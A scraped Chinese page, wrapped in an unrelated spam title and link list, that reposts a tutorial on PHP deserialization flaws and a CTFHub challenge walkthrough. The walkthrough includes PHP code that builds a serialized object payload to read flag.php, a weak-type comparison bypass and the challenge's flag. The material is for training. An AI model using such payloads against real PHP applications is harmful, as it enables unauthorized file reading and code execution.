当前位置: 首页 > news >正文

企业网站建设方案大全网站备案查询系统php版

企业网站建设方案大全,网站备案查询系统php版,会员管理系统软件哪个好,石家庄网站建设找哪家目录 PHP反序列化序列化反序列化原理涉及技术利用危害CTF靶场 PHP反序列化 序列化 将对象转换成字符串 反序列化 相反#xff0c;将字符串转换成对象。 数据格式的转换对象的序列化有利于对象的保存和传输#xff0c;也可以让多个文件共享对象。 原理 未对用户输入的序列化字… 目录 PHP反序列化序列化反序列化原理涉及技术利用危害CTF靶场 PHP反序列化 序列化 将对象转换成字符串 反序列化 相反将字符串转换成对象。 数据格式的转换对象的序列化有利于对象的保存和传输也可以让多个文件共享对象。 原理 未对用户输入的序列化字符串进行检测导致攻击者可以控制反序列化过程从而导致代码执行SQL注入目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。 serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象 //例如 //无类序列化和反序列化 ?php$keyrumilc; echo serialize($key);echo /br; $key2 s:6:rumilc;; echo unserialize($key2);涉及技术 有类和无类 有类和无类区别有无class定义 基本概念 有类触发魔术方法 魔术方法具体参考 触发 unserialize函数的变量可控文件中存在可利用的类类中有魔术方法 __construct()//创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发 ......利用 真实应用下 CTF中常见 危害 SQL注入 目录遍历 代码执行 … CTF靶场 题目地址 进入环境 给了php代码进行分析 根据题目以及代码向下发现了unserialize 思路 第一获取flag存储flag.php 第二两个魔术方法__destruct和 __construct 第三传输str参数数据后触发destruct存在is_valid过滤 第四__destruct中会调用process,其中op1写入及op2读取 第五涉及对象FileHandler变量op及filename,content进行构造输出进行构造序列化处理 ?php class FileHandler {public $op 2.0; //源码观察发现op为1时候是执行写入为2时执行读//使用 2也可以绕过op的值public $filenameflag.php; //文件开头调用的是flag.phppublic $content; //可以不用写或者任意 } $flag new FileHandler(); echo serialize($flag); ?执行完成后得到 O:11:“FileHandler”:3:{s:2:“op”;s:3:“2.0”;s:8:“filename”;s:8:“flag.php”;s:7:“content”;N;} 将此作为参数值赋值给str进行请求 发现有返回查看源码 源码当中 得到答案 $FLAG ctfhub{2edb689c4de533b460e6c2af};还可以将其还原成对象 ?php$key O:11:FileHandler:3:{s:2:op;s:3:2.0;s:8:filename;s:8:flag.php;s:7:content;N;};var_dump(unserialize($key)); ?还原的对象结果 object(__PHP_Incomplete_Class)#1 (4) {[__PHP_Incomplete_Class_Name]string(11) FileHandler[op]string(3) 2.0[filename]string(8) flag.php[content]NULL }反序列化魔术方法调用弱类型绕过ascii绕过 弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。 强等于。在比较前会先判断两种字符串类型是否相同再进行比较如果类型不同直接返回不相等。既比较值也比较类型。 使用该类对flag进行读取这里面能利用的只有__destruct函数析构函数。 __destruct函数对$this-op进行了判断并内容在2字符串时会赋值为1 process函数中使用对$this-op进行判断为2的情况下才能读取内容 因此这里存在弱类型比较可以使用数字2或字符串’ 2’绕过判断。 is_valid函数还对序列化字符串进行了校验因为成员被protected修饰 因此序列化字符串中会出现ascii为0的字符。经过测试在PHP7.2的环境中 使用public修饰成员并序列化反序列化后成员也会被public覆盖修饰。
http://www.hkea.cn/news/14289751/

相关文章:

  • 天津网络建站模板丝芙兰网站做的好差
  • 单位网站建设要记入无形资产吗seo效果检测步骤
  • 做导航网站犯法吗佛山市锵美装饰有限公司网站建设案例
  • 上海企业建站步骤网易企业邮箱登录入口邮箱登录入口
  • 漯河哪个网站推广效果好中国建设银行招聘网站报名系统
  • 微信官方网站建设超级外链工具源码
  • 网站备案名称规定实体店怎么推广引流
  • 定制开发电商网站建设哪家好平面设计室内设计
  • 国外设计网站网站空间服务商
  • 安徽合肥建设局网站网站做搜索要用数据库吗
  • 有没有专门做团购的网站新开网络游戏排行
  • 优速网站建设优化seo苏州网站建站公司
  • 织梦网站地图在线生成太原搜索引擎优化
  • 手机一元云购网站建设wordpress安全吗
  • 如东做网站的公司官方网站管理办法
  • 做淘宝客的网站怎么备案工业和信息化部考试中心
  • 网站项目需求文档国内免费工厂网站建设
  • 网站开发做前端还是后端全新网站如何做百度竞价
  • 软件开发网站建设wordpress 视频 广告插件
  • 辽阳好的网站建设公司阿里云宝塔面板一键安装wordpress
  • 做金属的网站谷德设计网站
  • 网站开发毕业设计源码南山网站制作联系电话
  • 企业网站维护建设项目实践报告网站建设 慕课
  • 山东网站wordpress 游客评论
  • 常州好的网站设计公司济南网站建设企业
  • 培训网站建设方案模板下载门户网站后台管理模板
  • 程序员接单网站潍坊做电商的网站建设
  • 网站举报网大连软件培训
  • 付费的网站是指枣强网站建设培训学校
  • 西宁网站设计企业中国建设银行网站主要功能